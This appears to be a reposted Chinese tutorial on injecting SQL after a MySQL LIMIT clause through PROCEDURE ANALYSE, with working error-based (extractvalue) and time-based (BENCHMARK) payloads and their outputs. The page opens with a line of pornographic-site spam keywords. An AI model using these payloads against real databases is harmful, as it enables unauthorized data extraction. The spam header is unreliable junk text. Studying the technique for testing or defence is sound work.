日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 运维知识 > 数据库 >内容正文

数据库

MySQL 在 LIMIT 条件后注入

發(fā)布時(shí)間:2025/7/14 数据库 35 豆豆
生活随笔 收集整理的這篇文章主要介紹了 MySQL 在 LIMIT 条件后注入 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

from:https://rateip.com/blog/sql-injections-in-mysql-limit-clause/

此方法適用于MySQL 5.x中,在limit語(yǔ)句后面的注入
例如:

  • SELECT??
  • ????[ALL?|?DISTINCT?|?DISTINCTROW?]??
  • ??????[HIGH_PRIORITY]??
  • ??????[STRAIGHT_JOIN]??
  • ??????[SQL_SMALL_RESULT]?[SQL_BIG_RESULT]?[SQL_BUFFER_RESULT]??
  • ??????[SQL_CACHE?|?SQL_NO_CACHE]?[SQL_CALC_FOUND_ROWS]??
  • ????select_expr?[,?select_expr?…]??
  • ????[FROM?table_references??
  • ????[WHERE?where_condition]??
  • ????[GROUP?BY?{col_name?|?expr?|?position}??
  • ??????[ASC?|?DESC],?…?[WITH?ROLLUP]]??
  • ????[HAVING?where_condition]??
  • ????[ORDER?BY?{col_name?|?expr?|?position}??
  • ??????[ASC?|?DESC],?…]??
  • ????[LIMIT?{[offset,]?row_count?|?row_count?OFFSET?offset}]??
  • ????[PROCEDURE?procedure_name(argument_list)]??
  • ????[INTO?OUTFILE?‘file_name’?export_options??
  • ??????|?INTO?DUMPFILE?‘file_name’??
  • ??????|?INTO?var_name?[,?var_name]]??
  • ????[FOR?UPDATE?|?LOCK?IN?SHARE?MODE]]??
  • 在LIMIT后面可以跟兩個(gè)函數(shù),PROCEDURE 和 INTO,INTO除非有寫入shell的權(quán)限,否則是無(wú)法利用的,那么使用PROCEDURE函數(shù)能否注入呢?

    Let’s give it a try:

  • mysql>?SELECT?field?FROM?table?where?id?>?0?ORDER?BY?id?LIMIT?1,1?PROCEDURE?ANALYSE(1);??
  • ???
  • ERROR?1386?(HY000):?Can’t?use?ORDER?clause?with?this?procedure??
  • ANALYSE可以有兩個(gè)參數(shù):

  • mysql>?SELECT?field?FROM?table?where?id?>?0?ORDER?BY?id?LIMIT?1,1?PROCEDURE?ANALYSE(1,1);??
  • ???
  • ERROR?1386?(HY000):?Can’t?use?ORDER?clause?with?this?procedure??
  • 看起來(lái)并不是很好,繼續(xù)嘗試:
    mysql> SELECT field from table where id > 0 order by id LIMIT 1,1 procedure
    analyse((select IF(MID(version(),1,1) LIKE 5, sleep(5),1)),1);
    但是立即返回了一個(gè)錯(cuò)誤信息:
    ERROR 1108 (HY000): Incorrect parameters to procedure ‘a(chǎn)nalyse’
    sleep函數(shù)肯定沒(méi)有執(zhí)行,但是最終我還是找到了可以攻擊的方式:
    mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

    ERROR 1105 (HY000): XPATH syntax error: ‘:5.5.41-0ubuntu0.14.04.1′
    如果不支持報(bào)錯(cuò)注入的話,還可以基于時(shí)間注入:
    SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1
    PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
    直接使用sleep不行,需要用BENCHMARK代替。

    PS:測(cè)試成功,無(wú)圖無(wú)真相:

    轉(zhuǎn)載于:https://www.cnblogs.com/qing123/p/4575901.html

    總結(jié)

    以上是生活随笔為你收集整理的MySQL 在 LIMIT 条件后注入的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

    如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。